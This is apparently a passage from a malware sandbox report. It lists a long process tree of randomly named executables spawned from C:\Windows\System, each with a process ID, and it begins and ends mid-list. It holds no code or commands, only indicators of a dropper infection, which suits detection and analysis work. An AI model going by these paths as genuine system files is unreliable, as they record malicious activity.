- C:\Windows\System\SqnMTRg.exe
  C:\Windows\System\SqnMTRg.exe
  2⤵
  PID:3508
- C:\Windows\System\pPPzRuc.exe
  C:\Windows\System\pPPzRuc.exe
  2⤵
  PID:3548
- C:\Windows\System\eRqUXsy.exe
  C:\Windows\System\eRqUXsy.exe
  2⤵
  PID:3564
- C:\Windows\System\OKtgrBT.exe
  C:\Windows\System\OKtgrBT.exe
  2⤵
  PID:2200
- C:\Windows\System\aPcSRFR.exe
  C:\Windows\System\aPcSRFR.exe
  2⤵
  PID:3640
- C:\Windows\System\IXOSFPB.exe
  C:\Windows\System\IXOSFPB.exe
  2⤵
  PID:3648
- C:\Windows\System\HxTKrdr.exe
  C:\Windows\System\HxTKrdr.exe
  2⤵
  PID:3624
- C:\Windows\System\SsvAoAG.exe
  C:\Windows\System\SsvAoAG.exe
  2⤵
  PID:2800
- C:\Windows\System\qLsTLrz.exe
  C:\Windows\System\qLsTLrz.exe
  2⤵
  PID:3752
- C:\Windows\System\gPSZrKR.exe
  C:\Windows\System\gPSZrKR.exe
  2⤵
  PID:3852
- C:\Windows\System\ZkxWfPf.exe
  C:\Windows\System\ZkxWfPf.exe
  2⤵
  PID:3892
- C:\Windows\System\dpyHwOw.exe
  C:\Windows\System\dpyHwOw.exe
  2⤵
  PID:2156
- C:\Windows\System\xNfVITH.exe
  C:\Windows\System\xNfVITH.exe
  2⤵
  PID:3972
- C:\Windows\System\SsrXIvp.exe
  C:\Windows\System\SsrXIvp.exe
  2⤵
  PID:2268
- C:\Windows\System\AfeAphU.exe
  C:\Windows\System\AfeAphU.exe
  2⤵
  PID:3916
- C:\Windows\System\fCMctMe.exe
  C:\Windows\System\fCMctMe.exe
  2⤵
  PID:4016
- C:\Windows\System\EyPTlWQ.exe
  C:\Windows\System\EyPTlWQ.exe
  2⤵
  PID:3952
- C:\Windows\System\dFWOwdo.exe
  C:\Windows\System\dFWOwdo.exe
  2⤵
  PID:3988
- C:\Windows\System\TskatNa.exe
  C:\Windows\System\TskatNa.exe
  2⤵
  PID:4088
- C:\Windows\System\SttIVjf.exe
  C:\Windows\System\SttIVjf.exe
  2⤵
  PID:4040
- C:\Windows\System\tHDVARn.exe
  C:\Windows\System\tHDVARn.exe
  2⤵
  PID:2836
- C:\Windows\System\LyTLbXT.exe
  C:\Windows\System\LyTLbXT.exe
  2⤵
  PID:1268
- C:\Windows\System\dMQbrNs.exe
  C:\Windows\System\dMQbrNs.exe
  2⤵
  PID:2892
- C:\Windows\System\CikrVrf.exe
  C:\Windows\System\CikrVrf.exe
  2⤵
  PID:2312
- C:\Windows\System\siKruJX.exe
  C:\Windows\System\siKruJX.exe
  2⤵
  PID:2952
- C:\Windows\System\bWxIsrJ.exe
  C:\Windows\System\bWxIsrJ.exe
  2⤵
  PID:652
- C:\Windows\System\TfBQVlg.exe
  C:\Windows\System\TfBQVlg.exe
  2⤵
  PID:1036
- C:\Windows\System\SQyHLYG.exe
  C:\Windows\System\SQyHLYG.exe
  2⤵
  PID:3144
- C:\Windows\System\tOXfvjA.exe
  C:\Windows\System\tOXfvjA.exe
  2⤵
  PID:3264
- C:\Windows\System\IvSvwOR.exe
  C:\Windows\System\IvSvwOR.exe
  2⤵
  PID:976
- C:\Windows\System\DWZzFUJ.exe
  C:\Windows\System\DWZzFUJ.exe
  2⤵
  PID:3324
- C:\Windows\System\VDGLEnM.exe
  C:\Windows\System\VDGLEnM.exe
  2⤵
  PID:3392
- C:\Windows\System\cqwnrOd.exe
  C:\Windows\System\cqwnrOd.exe
  2⤵
  PID:3500
- C:\Windows\System\MxMtwAm.exe
  C:\Windows\System\MxMtwAm.exe
  2⤵
  PID:3604
- C:\Windows\System\WLVgDaM.exe
  C:\Windows\System\WLVgDaM.exe
  2⤵
  PID:3588
- C:\Windows\System\leIZyBI.exe
  C:\Windows\System\leIZyBI.exe
  2⤵
  PID:3736
- C:\Windows\System\hHjQLWT.exe
  C:\Windows\System\hHjQLWT.exe
  2⤵
  PID:3772
- C:\Windows\System\zLyBtda.exe
  C:\Windows\System\zLyBtda.exe
  2⤵
  PID:3768
- C:\Windows\System\mOWGdJb.exe
  C:\Windows\System\mOWGdJb.exe
  2⤵
  PID:3884
- C:\Windows\System\AIpMvWk.exe
  C:\Windows\System\AIpMvWk.exe
  2⤵
  PID:3056
- C:\Windows\System\BEkabmL.exe
  C:\Windows\System\BEkabmL.exe
  2⤵
  PID:1084
- C:\Windows\System\jrZBeqj.exe
  C:\Windows\System\jrZBeqj.exe
  2⤵
  PID:3904
- C:\Windows\System\OyjHTOl.exe
  C:\Windows\System\OyjHTOl.exe
  2⤵
  PID:3348
- C:\Windows\System\uOvihjX.exe
  C:\Windows\System\uOvihjX.exe
  2⤵
  PID:3504
- C:\Windows\System\KnuWVcA.exe
  C:\Windows\System\KnuWVcA.exe
  2⤵
  PID:3684
- C:\Windows\System\xZFHdEZ.exe
  C:\Windows\System\xZFHdEZ.exe
  2⤵
  PID:2100
- C:\Windows\System\XYEflry.exe
  C:\Windows\System\XYEflry.exe
  2⤵
  PID:2884
- C:\Windows\System\VADpqbJ.exe
  C:\Windows\System\VADpqbJ.exe
  2⤵
  PID:3864
- C:\Windows\System\UMkQqvd.exe
  C:\Windows\System\UMkQqvd.exe
  2⤵
  PID:4028
- C:\Windows\System\oDinury.exe
  C:\Windows\System\oDinury.exe
  2⤵
  PID:4076
- C:\Windows\System\lvlkauU.exe
  C:\Windows\System\lvlkauU.exe
  2⤵
  PID:3100
- C:\Windows\System\zIbhlEM.exe
  C:\Windows\System\zIbhlEM.exe
  2⤵
  PID:3224
- C:\Windows\System\oWWwJKJ.exe
  C:\Windows\System\oWWwJKJ.exe
  2⤵
  PID:3140
- C:\Windows\System\ROrzDci.exe
  C:\Windows\System\ROrzDci.exe
  2⤵
  PID:3428
- C:\Windows\System\rlJZbag.exe
  C:\Windows\System\rlJZbag.exe
  2⤵
  PID:3660
- C:\Windows\System\nlNlmHt.exe
  C:\Windows\System\nlNlmHt.exe
  2⤵
  PID:3812
- C:\Windows\System\ODLrKzS.exe
  C:\Windows\System\ODLrKzS.exe
  2⤵
  PID:2460
- C:\Windows\System\KJkFIQk.exe
  C:\Windows\System\KJkFIQk.exe
  2⤵
  PID:2444
- C:\Windows\System\xgGBiBS.exe
  C:\Windows\System\xgGBiBS.exe
  2⤵
  PID:1412
- C:\Windows\System\ZNSvpsl.exe
  C:\Windows\System\ZNSvpsl.exe
  2⤵
  PID:844
- C:\Windows\System\yABfTHI.exe
  C:\Windows\System\yABfTHI.exe
  2⤵
  PID:3732
- C:\Windows\System\BeTVnbt.exe
  C:\Windows\System\BeTVnbt.exe
  2⤵
  PID:660
- C:\Windows\System\MTLVGEo.exe
  C:\Windows\System\MTLVGEo.exe
  2⤵
  PID:3000
- C:\Windows\System\ULyxNbg.exe
  C:\Windows\System\ULyxNbg.exe
  2⤵
  PID:2636
- C:\Windows\System\dRjJAHO.exe
  C:\Windows\System\dRjJAHO.exe
  2⤵
  PID:2984
- C:\Windows\System\IUgCSBO.exe
  C:\Windows\System\IUgCSBO.exe
  2⤵
  PID:572
- C:\Windows\System\abBkxyL.exe
  C:\Windows\System\abBkxyL.exe
  2⤵
  PID:2272
- C:\Windows\System\iPQcuqA.exe
  C:\Windows\System\iPQcuqA.exe
  2⤵
  PID:2172
- C:\Windows\System\kHkYbzE.exe
  C:\Windows\System\kHkYbzE.exe
  2⤵
  PID:2992
- C:\Windows\System\RGsAUWE.exe
  C:\Windows\System\RGsAUWE.exe
  2⤵
  PID:3592
- C:\Windows\System\UXKvtxT.exe
  C:\Windows\System\UXKvtxT.exe
  2⤵
  PID:820
- C:\Windows\System\PxTPxus.exe
  C:\Windows\System\PxTPxus.exe
  2⤵
  PID:3912
- C:\Windows\System\SKtSJPf.exe
  C:\Windows\System\SKtSJPf.exe
  2⤵
  PID:3304
- C:\Windows\System\TZgxnGs.exe
  C:\Windows\System\TZgxnGs.exe
  2⤵
  PID:3796
- C:\Windows\System\GzcKKxZ.exe
  C:\Windows\System\GzcKKxZ.exe
  2⤵
  PID:2464
- C:\Windows\System\lrciSSN.exe
  C:\Windows\System\lrciSSN.exe
  2⤵
  PID:3784
- C:\Windows\System\CxenAWn.exe
  C:\Windows\System\CxenAWn.exe
  2⤵
  PID:3552
- C:\Windows\System\uHngKFD.exe
  C:\Windows\System\uHngKFD.exe
  2⤵
  PID:1908
- C:\Windows\System\CtHInWE.exe
  C:\Windows\System\CtHInWE.exe
  2⤵
  PID:2560
- C:\Windows\System\YCBrdUk.exe
  C:\Windows\System\YCBrdUk.exe
  2⤵
  PID:3332
- C:\Windows\System\VqgKTJh.exe
  C:\Windows\System\VqgKTJh.exe
  2⤵
  PID:3388
- C:\Windows\System\ptYcFow.exe
  C:\Windows\System\ptYcFow.exe
  2⤵
  PID:912
- C:\Windows\System\IZdHvfM.exe
  C:\Windows\System\IZdHvfM.exe
  2⤵
  PID:3544
- C:\Windows\System\szYKjQK.exe
  C:\Windows\System\szYKjQK.exe
  2⤵
  PID:3448
- C:\Windows\System\qHUEWza.exe
  C:\Windows\System\qHUEWza.exe
  2⤵
  PID:3468
- C:\Windows\System\xYMmbjE.exe
  C:\Windows\System\xYMmbjE.exe
  2⤵
  PID:3280
- C:\Windows\System\ZARSfaB.exe
  C:\Windows\System\ZARSfaB.exe
  2⤵
  PID:2716
- C:\Windows\System\PvOEIGi.exe
  C:\Windows\System\PvOEIGi.exe
  2⤵
  PID:2604
- C:\Windows\System\xoaYwpl.exe
  C:\Windows\System\xoaYwpl.exe
  2⤵
  PID:972
- C:\Windows\System\tUwttTc.exe
  C:\Windows\System\tUwttTc.exe
  2⤵
  PID:916
- C:\Windows\System\VqEVwIU.exe
  C:\Windows\System\VqEVwIU.exe
  2⤵
  PID:1456
- C:\Windows\System\PVPnAvs.exe
  C:\Windows\System\PVPnAvs.exe
  2⤵
  PID:2684
- C:\Windows\System\HUGSSaW.exe
  C:\Windows\System\HUGSSaW.exe
  2⤵
  PID:2876
- C:\Windows\System\KXlDTyq.exe
  C:\Windows\System\KXlDTyq.exe
  2⤵
  PID:3724
- C:\Windows\System\rKhfbnb.exe
  C:\Windows\System\rKhfbnb.exe
  2⤵
  PID:2828
- C:\Windows\System\NOhHRrN.exe
  C:\Windows\System\NOhHRrN.exe
  2⤵
  PID:4052
- C:\Windows\System\Bdjajpj.exe
  C:\Windows\System\Bdjajpj.exe
  2⤵
  PID:4104
- C:\Windows\System\ZCrOXdS.exe
  C:\Windows\System\ZCrOXdS.exe
  2⤵
  PID:4120
- C:\Windows\System\BNjzpld.exe
  C:\Windows\System\BNjzpld.exe
  2⤵
  PID:4144
- C:\Windows\System\uCheHZD.exe
  C:\Windows\System\uCheHZD.exe
  2⤵
  PID:4172
- C:\Windows\System\DknqhVH.exe
  C:\Windows\System\DknqhVH.exe
  2⤵
  PID:4188
- C:\Windows\System\BANTvkf.exe
  C:\Windows\System\BANTvkf.exe
  2⤵
  PID:4212
- C:\Windows\System\EgPcaBv.exe
  C:\Windows\System\EgPcaBv.exe
  2⤵
  PID:4232
- C:\Windows\System\KjHRqsC.exe
  C:\Windows\System\KjHRqsC.exe
  2⤵
  PID:4248
- C:\Windows\System\qRmCjBV.exe
  C:\Windows\System\qRmCjBV.exe
  2⤵
  PID:4268
- C:\Windows\System\dWXBTsP.exe
  C:\Windows\System\dWXBTsP.exe
  2⤵
  PID:4284
- C:\Windows\System\HLsRfPC.exe
  C:\Windows\System\HLsRfPC.exe
  2⤵
  PID:4300
- C:\Windows\System\pIsQTZY.exe
  C:\Windows\System\pIsQTZY.exe
  2⤵
  PID:4324
- C:\Windows\System\IWnyjsz.exe
  C:\Windows\System\IWnyjsz.exe
  2⤵
  PID:4340
- C:\Windows\System\jRnriYr.exe
  C:\Windows\System\jRnriYr.exe
  2⤵
  PID:4356
- C:\Windows\System\xnRrsCv.exe
  C:\Windows\System\xnRrsCv.exe
  2⤵
  PID:4380
- C:\Windows\System\qttDehH.exe
  C:\Windows\System\qttDehH.exe
  2⤵
  PID:4396
- C:\Windows\System\LsEKEwW.exe
  C:\Windows\System\LsEKEwW.exe
  2⤵
  PID:4416
- C:\Windows\System\SyanSSd.exe
  C:\Windows\System\SyanSSd.exe
  2⤵
  PID:4436
- C:\Windows\System\EPpHfRG.exe
  C:\Windows\System\EPpHfRG.exe
  2⤵
  PID:4452
- C:\Windows\System\RwfINFM.exe
  C:\Windows\System\RwfINFM.exe
  2⤵
  PID:4468
- C:\Windows\System\hLLTEGl.exe
  C:\Windows\System\hLLTEGl.exe
  2⤵
  PID:4488
- C:\Windows\System\kXmfQDl.exe
  C:\Windows\System\kXmfQDl.exe
  2⤵
  PID:4504
- C:\Windows\System\hoURScQ.exe
  C:\Windows\System\hoURScQ.exe
  2⤵
  PID:4524
- C:\Windows\System\lVlAHeH.exe
  C:\Windows\System\lVlAHeH.exe
  2⤵
  PID:4540
- C:\Windows\System\IwYtRPW.exe
  C:\Windows\System\IwYtRPW.exe
  2⤵
  PID:4560
- C:\Windows\System\jMPWRCs.exe
  C:\Windows\System\jMPWRCs.exe
  2⤵
  PID:4580
- C:\Windows\System\rJSsqbZ.exe
  C:\Windows\System\rJSsqbZ.exe
  2⤵
  PID:4596
- C:\Windows\System\cHiSBlX.exe
  C:\Windows\System\cHiSBlX.exe
  2⤵
  PID:4660
- C:\Windows\System\SmjgJSC.exe
  C:\Windows\System\SmjgJSC.exe
  2⤵
  PID:4676
- C:\Windows\System\iHxMYsu.exe
  C:\Windows\System\iHxMYsu.exe
  2⤵
  PID:4692
- C:\Windows\System\jMkkoyb.exe
  C:\Windows\System\jMkkoyb.exe
  2⤵
  PID:4708
- C:\Windows\System\nYYZeJq.exe
  C:\Windows\System\nYYZeJq.exe
  2⤵
  PID:4724
- C:\Windows\System\AkNThjh.exe
  C:\Windows\System\AkNThjh.exe
  2⤵
  PID:4744
- C:\Windows\System\PsGAMKZ.exe
  C:\Windows\System\PsGAMKZ.exe
  2⤵
  PID:4760
- C:\Windows\System\zNLyvjA.exe
  C:\Windows\System\zNLyvjA.exe
  2⤵
  PID:4808
- C:\Windows\System\ziauUeZ.exe
  C:\Windows\System\ziauUeZ.exe
  2⤵
  PID:4824
- C:\Windows\System\dSImxNi.exe
  C:\Windows\System\dSImxNi.exe
  2⤵
  PID:4840
- C:\Windows\System\gxcLLsD.exe
  C:\Windows\System\gxcLLsD.exe
  2⤵
  PID:4856
- C:\Windows\System\QJlPglC.exe
  C:\Windows\System\QJlPglC.exe
  2⤵
  PID:4872
- C:\Windows\System\rTbmWxl.exe
  C:\Windows\System\rTbmWxl.exe
  2⤵
  PID:4888
- C:\Windows\System\jNgLadb.exe
  C:\Windows\System\jNgLadb.exe
  2⤵
  PID:4904
- C:\Windows\System\lWmxHJF.exe
  C:\Windows\System\lWmxHJF.exe
  2⤵
  PID:4920
- C:\Windows\System\IKZwXVv.exe
  C:\Windows\System\IKZwXVv.exe
  2⤵
  PID:4936
- C:\Windows\System\WVEfMom.exe
  C:\Windows\System\WVEfMom.exe
  2⤵
  PID:4952
- C:\Windows\System\pjyGMfi.exe
  C:\Windows\System\pjyGMfi.exe
  2⤵
  PID:4972
- C:\Windows\System\PjUHSeN.exe
  C:\Windows\System\PjUHSeN.exe
  2⤵
  PID:4988
- C:\Windows\System\wyhwfYD.exe
  C:\Windows\System\wyhwfYD.exe
  2⤵
  PID:5004
- C:\Windows\System\QMKWVoT.exe
  C:\Windows\System\QMKWVoT.exe
  2⤵
  PID:5020
- C:\Windows\System\XOPLAoS.exe
  C:\Windows\System\XOPLAoS.exe
  2⤵
  PID:5040
- C:\Windows\System\SvhmoMp.exe
  C:\Windows\System\SvhmoMp.exe
  2⤵
  PID:5060
- C:\Windows\System\lqRJHgW.exe
  C:\Windows\System\lqRJHgW.exe
  2⤵
  PID:5076
- C:\Windows\System\yxVGxFE.exe
  C:\Windows\System\yxVGxFE.exe
  2⤵
  PID:5092
- C:\Windows\System\RZJuWpL.exe
  C:\Windows\System\RZJuWpL.exe
  2⤵
  PID:5112
- C:\Windows\System\tjEKeVm.exe
  C:\Windows\System\tjEKeVm.exe
  2⤵
  PID:4112
- C:\Windows\System\lyyoUvI.exe
  C:\Windows\System\lyyoUvI.exe
  2⤵
  PID:4132
- C:\Windows\System\aPkQXqE.exe
  C:\Windows\System\aPkQXqE.exe
  2⤵
  PID:4160
- C:\Windows\System\njVWdVv.exe
  C:\Windows\System\njVWdVv.exe
  2⤵
  PID:4204
- C:\Windows\System\dAweUCd.exe
  C:\Windows\System\dAweUCd.exe
  2⤵
  PID:4208
- C:\Windows\System\EaVxpJY.exe
  C:\Windows\System\EaVxpJY.exe
  2⤵
  PID:4312
- C:\Windows\System\AnygANy.exe
  C:\Windows\System\AnygANy.exe
  2⤵
  PID:4372
- C:\Windows\System\humQPND.exe
  C:\Windows\System\humQPND.exe
  2⤵
  PID:4444
- C:\Windows\System\dUDIgxD.exe
  C:\Windows\System\dUDIgxD.exe
  2⤵
  PID:4512
- C:\Windows\System\NAGlWHn.exe
  C:\Windows\System\NAGlWHn.exe
  2⤵
  PID:4548
- C:\Windows\System\fYHDjTE.exe
  C:\Windows\System\fYHDjTE.exe
  2⤵
  PID:4496
- C:\Windows\System\bgRQfbC.exe
  C:\Windows\System\bgRQfbC.exe
  2⤵
  PID:4392
- C:\Windows\System\JtnCQlF.exe
  C:\Windows\System\JtnCQlF.exe
  2⤵
  PID:4432
- C:\Windows\System\QnfsaXD.exe
  C:\Windows\System\QnfsaXD.exe
  2⤵
  PID:4568
- C:\Windows\System\QzDRONi.exe
  C:\Windows\System\QzDRONi.exe
  2⤵
  PID:4612
- C:\Windows\System\vkzAgux.exe
  C:\Windows\System\vkzAgux.exe
  2⤵
  PID:4628
- C:\Windows\System\AVxLXBt.exe
  C:\Windows\System\AVxLXBt.exe
  2⤵
  PID:4648
- C:\Windows\System\elsmLNw.exe
  C:\Windows\System\elsmLNw.exe
  2⤵
  PID:4736
- C:\Windows\System\QdFlGfO.exe
  C:\Windows\System\QdFlGfO.exe
  2⤵
  PID:4716
- C:\Windows\System\nmiHlrn.exe
  C:\Windows\System\nmiHlrn.exe
  2⤵
  PID:4732
- C:\Windows\System\zwWdsWl.exe
  C:\Windows\System\zwWdsWl.exe
  2⤵
  PID:4780
- C:\Windows\System\SFCDmDK.exe
  C:\Windows\System\SFCDmDK.exe
  2⤵
  PID:4800
- C:\Windows\System\dHsgMYR.exe
  C:\Windows\System\dHsgMYR.exe
  2⤵
  PID:4928
- C:\Windows\System\RYVqWtE.exe
  C:\Windows\System\RYVqWtE.exe
  2⤵
  PID:4912
- C:\Windows\System\LtIEyqN.exe
  C:\Windows\System\LtIEyqN.exe
  2⤵
  PID:4980
- C:\Windows\System\WtPbpqL.exe
  C:\Windows\System\WtPbpqL.exe
  2⤵
  PID:5036
- C:\Windows\System\RZaWjAw.exe
  C:\Windows\System\RZaWjAw.exe
  2⤵
  PID:4960
- C:\Windows\System\QcqCZww.exe
  C:\Windows\System\QcqCZww.exe
  2⤵
  PID:5052
- C:\Windows\System\kABLPuh.exe
  C:\Windows\System\kABLPuh.exe
  2⤵
  PID:5048
- C:\Windows\System\ItkYDjU.exe
  C:\Windows\System\ItkYDjU.exe
  2⤵
  PID:3844
- C:\Windows\System\EZtUJJd.exe
  C:\Windows\System\EZtUJJd.exe
  2⤵
  PID:4156
- C:\Windows\System\EegmQzr.exe
  C:\Windows\System\EegmQzr.exe
  2⤵
  PID:4228
- C:\Windows\System\cECkMBl.exe
  C:\Windows\System\cECkMBl.exe
  2⤵
  PID:4264
- C:\Windows\System\aZnpWxu.exe
  C:\Windows\System\aZnpWxu.exe
  2⤵
  PID:4276
- C:\Windows\System\GAxuJyE.exe
  C:\Windows\System\GAxuJyE.exe
  2⤵
  PID:4412
- C:\Windows\System\PSoMrqC.exe
  C:\Windows\System\PSoMrqC.exe
  2⤵
  PID:4352
- C:\Windows\System\sOSrUAa.exe
  C:\Windows\System\sOSrUAa.exe
  2⤵
  PID:4388
- C:\Windows\System\fvsYNYb.exe
  C:\Windows\System\fvsYNYb.exe
  2⤵
  PID:4672
- C:\Windows\System\AJompoJ.exe
  C:\Windows\System\AJompoJ.exe
  2⤵
  PID:4632
- C:\Windows\System\pPZUgyG.exe
  C:\Windows\System\pPZUgyG.exe
  2⤵
  PID:4756
- C:\Windows\System\QUyLpkD.exe
  C:\Windows\System\QUyLpkD.exe
  2⤵
  PID:4916
- C:\Windows\System\hDZXUAZ.exe
  C:\Windows\System\hDZXUAZ.exe
  2⤵
  PID:4576
- C:\Windows\System\dbSUdca.exe
  C:\Windows\System\dbSUdca.exe
  2⤵
  PID:4868
- C:\Windows\System\NzizYuz.exe
  C:\Windows\System\NzizYuz.exe
  2⤵
  PID:2820
- C:\Windows\System\YerybHG.exe
  C:\Windows\System\YerybHG.exe
  2⤵
  PID:4932
- C:\Windows\System\RMiyvCl.exe
  C:\Windows\System\RMiyvCl.exe
  2⤵
  PID:4820
- C:\Windows\System\mxRCitC.exe
  C:\Windows\System\mxRCitC.exe
  2⤵
  PID:4136
- C:\Windows\System\tLUzRoN.exe
  C:\Windows\System\tLUzRoN.exe
  2⤵
  PID:4900
- C:\Windows\System\csaYZFD.exe
  C:\Windows\System\csaYZFD.exe
  2⤵
  PID:4220
- C:\Windows\System\bRwjIGe.exe
  C:\Windows\System\bRwjIGe.exe
  2⤵
  PID:5056
- C:\Windows\System\KFXUEMt.exe
  C:\Windows\System\KFXUEMt.exe
  2⤵
  PID:4296
- C:\Windows\System\BABuWKX.exe
  C:\Windows\System\BABuWKX.exe
  2⤵
  PID:4332
- C:\Windows\System\apBJZiY.exe
  C:\Windows\System\apBJZiY.exe
  2⤵
  PID:4520
- C:\Windows\System\TCNjIUG.exe
  C:\Windows\System\TCNjIUG.exe
  2⤵
  PID:4484
- C:\Windows\System\wxvucFH.exe
  C:\Windows\System\wxvucFH.exe
  2⤵
  PID:4500
- C:\Windows\System\AJSQyEy.exe
  C:\Windows\System\AJSQyEy.exe
  2⤵
  PID:4880
- C:\Windows\System\RPTXWSj.exe
  C:\Windows\System\RPTXWSj.exe
  2⤵
  PID:4652
- C:\Windows\System\pRLfMiw.exe
  C:\Windows\System\pRLfMiw.exe
  2⤵
  PID:4896
- C:\Windows\System\rCYAPFV.exe
  C:\Windows\System\rCYAPFV.exe
  2⤵
  PID:4996
- C:\Windows\System\STwydon.exe
  C:\Windows\System\STwydon.exe
  2⤵
  PID:4200
- C:\Windows\System\ZkDQPgB.exe
  C:\Windows\System\ZkDQPgB.exe
  2⤵
  PID:4832
- C:\Windows\System\csTJLvE.exe
  C:\Windows\System\csTJLvE.exe
  2⤵
  PID:5016
- C:\Windows\System\uEoXrcL.exe
  C:\Windows\System\uEoXrcL.exe
  2⤵
  PID:4316
- C:\Windows\System\gWWVTwK.exe
  C:\Windows\System\gWWVTwK.exe
  2⤵
  PID:4536
- C:\Windows\System\eDFpDSz.exe
  C:\Windows\System\eDFpDSz.exe
  2⤵
  PID:4224
- C:\Windows\System\MPjdjll.exe
  C:\Windows\System\MPjdjll.exe
  2⤵
  PID:4244
- C:\Windows\System\ZByoMiA.exe
  C:\Windows\System\ZByoMiA.exe
  2⤵
  PID:5072
- C:\Windows\System\eflSwqB.exe
  C:\Windows\System\eflSwqB.exe
  2⤵
  PID:4128
- C:\Windows\System\Zvvynvk.exe
  C:\Windows\System\Zvvynvk.exe
  2⤵
  PID:5164
- C:\Windows\System\VGXmGwh.exe
  C:\Windows\System\VGXmGwh.exe
  2⤵
  PID:5180
- C:\Windows\System\vljjjCI.exe
  C:\Windows\System\vljjjCI.exe
  2⤵
  PID:5196
- C:\Windows\System\FZSSRFe.exe
  C:\Windows\System\FZSSRFe.exe
  2⤵
  PID:5212
- C:\Windows\System\SSruhKE.exe
  C:\Windows\System\SSruhKE.exe
  2⤵
  PID:5228
- C:\Windows\System\PVfQuEN.exe
  C:\Windows\System\PVfQuEN.exe
  2⤵
  PID:5248
- C:\Windows\System\NdxaSYC.exe
  C:\Windows\System\NdxaSYC.exe
  2⤵
  PID:5264
- C:\Windows\System\ecsyWYc.exe
  C:\Windows\System\ecsyWYc.exe
  2⤵
  PID:5280
- C:\Windows\System\QCOtyLt.exe
  C:\Windows\System\QCOtyLt.exe
  2⤵
  PID:5296
- C:\Windows\System\RGCbewc.exe
  C:\Windows\System\RGCbewc.exe
  2⤵
  PID:5316
- C:\Windows\System\zcAxtSt.exe
  C:\Windows\System\zcAxtSt.exe
  2⤵
  PID:5336
- C:\Windows\System\PKrtsrO.exe
  C:\Windows\System\PKrtsrO.exe
  2⤵
  PID:5352
- C:\Windows\System\svIxPkC.exe
  C:\Windows\System\svIxPkC.exe
  2⤵
  PID:5372
- C:\Windows\System\XFFsKvQ.exe
  C:\Windows\System\XFFsKvQ.exe
  2⤵
  PID:5388
- C:\Windows\System\ImLlLbh.exe
  C:\Windows\System\ImLlLbh.exe
  2⤵
  PID:5404
- C:\Windows\System\CkIbLrZ.exe
  C:\Windows\System\CkIbLrZ.exe
  2⤵
  PID:5424
- C:\Windows\System\ThAYvZO.exe
  C:\Windows\System\ThAYvZO.exe
  2⤵
  PID:5440
- C:\Windows\System\tvCIBhy.exe
  C:\Windows\System\tvCIBhy.exe
  2⤵
  PID:5456
- C:\Windows\System\qTCFYjf.exe
  C:\Windows\System\qTCFYjf.exe
  2⤵
  PID:5476
- C:\Windows\System\mVzeuWA.exe
  C:\Windows\System\mVzeuWA.exe
  2⤵
  PID:5492
- C:\Windows\System\AGWEBSL.exe
  C:\Windows\System\AGWEBSL.exe
  2⤵
  PID:5508
- C:\Windows\System\vJhmCLF.exe
  C:\Windows\System\vJhmCLF.exe
  2⤵
  PID:5528
- C:\Windows\System\wzLQuPf.exe
  C:\Windows\System\wzLQuPf.exe
  2⤵
  PID:5544
- C:\Windows\System\hJCDReJ.exe
  C:\Windows\System\hJCDReJ.exe
  2⤵
  PID:5560
- C:\Windows\System\YQdGlvA.exe
  C:\Windows\System\YQdGlvA.exe
  2⤵
  PID:5576
- C:\Windows\System\VXZzOre.exe
  C:\Windows\System\VXZzOre.exe
  2⤵
  PID:5656
- C:\Windows\System\JvtCLTq.exe
  C:\Windows\System\JvtCLTq.exe
  2⤵
  PID:5672
- C:\Windows\System\uEZkiwf.exe
  C:\Windows\System\uEZkiwf.exe
  2⤵
  PID:5688
- C:\Windows\System\GCYDLVc.exe
  C:\Windows\System\GCYDLVc.exe
  2⤵
  PID:5704
- C:\Windows\System\TBKBvwu.exe
  C:\Windows\System\TBKBvwu.exe
  2⤵
  PID:5724
- C:\Windows\System\zlxAgzv.exe
  C:\Windows\System\zlxAgzv.exe
  2⤵
  PID:5740
- C:\Windows\System\eLFRVrO.exe
  C:\Windows\System\eLFRVrO.exe
  2⤵
  PID:5760
- C:\Windows\System\jSKPwna.exe
  C:\Windows\System\jSKPwna.exe
  2⤵
  PID:5776
- C:\Windows\System\QeUOjvh.exe
  C:\Windows\System\QeUOjvh.exe
  2⤵
  PID:5792
- C:\Windows\System\dAMgguc.exe
  C:\Windows\System\dAMgguc.exe
  2⤵
  PID:5808
- C:\Windows\System\veHzonw.exe
  C:\Windows\System\veHzonw.exe
  2⤵
  PID:5824
- C:\Windows\System\vqVFNGt.exe
  C:\Windows\System\vqVFNGt.exe
  2⤵
  PID:5844
- C:\Windows\System\CZSJZuA.exe
  C:\Windows\System\CZSJZuA.exe
  2⤵
  PID:5860
- C:\Windows\System\XVBTkTQ.exe
  C:\Windows\System\XVBTkTQ.exe
  2⤵
  PID:5876
- C:\Windows\System\aEkdfUl.exe
  C:\Windows\System\aEkdfUl.exe
  2⤵
  PID:5892
- C:\Windows\System\pnlHzQW.exe
  C:\Windows\System\pnlHzQW.exe
  2⤵
  PID:5908
- C:\Windows\System\dTnDXhG.exe
  C:\Windows\System\dTnDXhG.exe
  2⤵
  PID:5964
- C:\Windows\System\OoHDyGD.exe
  C:\Windows\System\OoHDyGD.exe
  2⤵
  PID:5980
- C:\Windows\System\sfIAWTH.exe
  C:\Windows\System\sfIAWTH.exe
  2⤵
  PID:5996
- C:\Windows\System\YcOWrsa.exe
  C:\Windows\System\YcOWrsa.exe
  2⤵
  PID:6012
- C:\Windows\System\VQHOiLR.exe
  C:\Windows\System\VQHOiLR.exe
  2⤵
  PID:6028
- C:\Windows\System\cBjhAvm.exe
  C:\Windows\System\cBjhAvm.exe
  2⤵
  PID:6044
- C:\Windows\System\YEwSZuj.exe
  C:\Windows\System\YEwSZuj.exe
  2⤵
  PID:6060
- C:\Windows\System\yjLElfa.exe
  C:\Windows\System\yjLElfa.exe
  2⤵
  PID:6076
- C:\Windows\System\kXaNcSs.exe
  C:\Windows\System\kXaNcSs.exe
  2⤵
  PID:6092
- C:\Windows\System\YNkqwFg.exe
  C:\Windows\System\YNkqwFg.exe
  2⤵
  PID:6108
- C:\Windows\System\SYaJApt.exe
  C:\Windows\System\SYaJApt.exe
  2⤵
  PID:6124
- C:\Windows\System\QQNNlkV.exe
  C:\Windows\System\QQNNlkV.exe
  2⤵
  PID:6140
- C:\Windows\System\pHNXzpv.exe
  C:\Windows\System\pHNXzpv.exe
  2⤵
  PID:4532
- C:\Windows\System\FZNamLt.exe
  C:\Windows\System\FZNamLt.exe
  2⤵
  PID:4480
- C:\Windows\System\qETSMQh.exe
  C:\Windows\System\qETSMQh.exe
  2⤵
  PID:4644
- C:\Windows\System\vwYpART.exe
  C:\Windows\System\vwYpART.exe
  2⤵
  PID:4608
- C:\Windows\System\jjvvBku.exe
  C:\Windows\System\jjvvBku.exe
  2⤵
  PID:4620
- C:\Windows\System\XwNBjOv.exe
